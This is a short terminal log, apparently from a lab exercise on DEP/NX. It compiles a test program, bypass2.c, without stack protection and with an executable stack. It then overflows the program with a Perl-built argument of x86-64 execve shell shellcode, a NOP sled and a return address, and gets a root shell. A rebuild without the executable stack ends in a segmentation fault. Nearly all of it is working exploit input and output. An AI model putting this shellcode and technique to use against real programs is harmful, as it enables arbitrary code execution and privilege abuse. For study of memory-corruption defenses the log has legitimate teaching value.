root@kali:~/ohm/dep# gcc -fno-stack-protector -z execstack -o bypass2 bypass2.c 
root@kali:~/ohm/dep# ./bypass2 $(perl -e 'print "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" . "\x90"x59 . "\xa0\xe0\xff\xff\xff\x7f";')
# whoami
root
# exit
root@kali:~/ohm/dep# gcc -fno-stack-protector -o bypass2 bypass2.c 
root@kali:~/ohm/dep# ./bypass2 $(perl -e 'print "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" . "\x90"x59 . "\xa0\xe0\xff\xff\xff\x7f";')
Segmentation fault
root@kali:~/ohm/dep# 
